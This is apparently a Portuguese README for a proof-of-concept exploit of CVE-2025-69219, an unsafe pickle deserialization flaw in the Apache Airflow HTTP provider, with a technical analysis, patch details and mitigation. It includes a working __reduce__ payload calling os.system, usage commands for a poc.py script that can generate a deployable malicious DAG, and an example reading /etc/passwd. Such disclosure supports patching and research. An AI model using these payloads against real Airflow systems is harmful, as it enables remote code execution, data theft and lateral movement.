
Prova de conceito de exploit para CVE-2025-69219, demonstrando execução remota de código no Apache Airflow Providers HTTP via desserialização insegura de pickle. Inclui scripts PoC, análise técnica e orientações de mitigação.
Severidade: Alta (CVSS 3.1: 8.8)
Vetor:AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — Controle Inadequado de Recursos de Código Gerenciados Dinamicamente
Afetado:apache-airflow-providers-http >= 5.1.0, < 6.0.0
Corrigido em:apache-airflow-providers-http == 6.0.0
Patch: apache/airflow#61662 · commit 97839f7
O provedor HTTP do Apache Airflow usava o módulo pickle do Python para serializar e desserializar respostas de gatilho HTTP para tarefas adiadas. O ponto vulnerável em HttpOperator.execute_complete() era assim:
# VULNERÁVEL (pré-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))
O dicionário event é lido do banco de dados do Airflow, o que significa que qualquer principal com acesso de escrita no BD pode plantar uma carga maliciosa pickle. Quando o worker do Triggerer processa a tarefa adiada, ele desserializa cegamente essa carga, executando comandos arbitrários do SO com as permissões do processo Triggerer — equivalente a um Autor de DAG.
pickle.loads() em dados não confiáveis é uma operação inerentemente insegura. O protocolo __reduce__ do Pickle permite que qualquer chamável Python seja embutido no blob serializado e invocado durante a desserialização sem sandboxing.
O Triggerer do Airflow serializa a resposta HTTP no momento da conclusão e a armazena no BD:
# triggers/http.py (pré-patch)
yield TriggerEvent({
"status": "success",
"response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})
Um atacante no nível do BD substitui esse valor por um blob pickle malicioso, por exemplo:
class RCEPayload:
def __reduce__(self):
return (os.system, ("id",))
payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()
O Triggerer então chama execute_complete → pickle.loads() → RCE.
O patch substitui completamente o pickle por um serializador JSON seguro e explícito:
# triggers/http.py (pós-patch)
yield TriggerEvent({
"status": "success",
"response": HttpResponseSerializer.serialize(response), # dict JSON
})
# HttpResponseSerializer.deserialize() — valida que a entrada é um dict, nunca executa código
if isinstance(data, str):
raise TypeError("Response data must be a dict, got str")
O novo desserializador apenas reconstrói um objeto requests.Response a partir de campos conhecidos (status_code, headers, content, etc.) — nenhuma execução arbitrária de código é possível.
# Python 3.9+; instale uma versão vulnerável
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"
Reproduz a chamada vulnerável pickle.loads() em processo:
python poc.py
# ou com um comando personalizado:
python poc.py --cmd "whoami"
Saída de exemplo:
CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
Unsafe Pickle Deserialization → RCE via HttpOperator
-------------------------------------------------------
[*] Command : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...
uid=1000(user) gid=1000(user) groups=1000(user)
[+] os.system returned: 0 (0 = success)
# Gere um DAG implantável
python poc.py --mode dag --cmd "id"
# Copie para o diretório DAGs do Airflow
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/
# Acione pela interface do Airflow ou CLI
airflow dags trigger cve_2025_69219_poc
Verifique os logs da tarefa para a saída do comando.
python poc.py --show-payload --cmd "cat /etc/passwd"
| Fator | Detalhe |
|---|---|
| Quem pode explorar | Qualquer usuário com acesso de escrita direta ao BD do Airflow |
| Contexto de execução | Processo worker do Triggerer (mesmas permissões de um Autor de DAG) |
| Probabilidade | Baixa — acesso direto ao BD não é padrão em implantações bem configuradas |
apache-airflow-providers-http para 6.0.0 ou superior.deferrable=True) tenham sido concluídas ou limpas, pois tarefas em andamento serializadas com pickle levantarão um TypeError após a atualização (mudança disruptiva documentada no changelog do provedor).pip install "apache-airflow-providers-http>=6.0.0"
| Data | Evento |
|---|---|
| 2026-03-09 | CVE publicado pela Apache Software Foundation |
| 2026-03-09 | Correção mesclada (PR #61662, commit 97839f7) |
| 2026-03-09 | Divulgação na lista de e-mails oss-security |
A PoC neste repositório é baseada no trabalho original de @ahmetartuc.
Esta prova de conceito é publicada apenas para fins educacionais e de pesquisa em segurança. Teste apenas contra sistemas que você possui ou para os quais tem autorização explícita por escrito. Os autores não são responsáveis por qualquer uso indevido.
| Raio de explosão |
| RCE completo no host do nó Triggerer: exfiltração de dados, movimento lateral, persistência |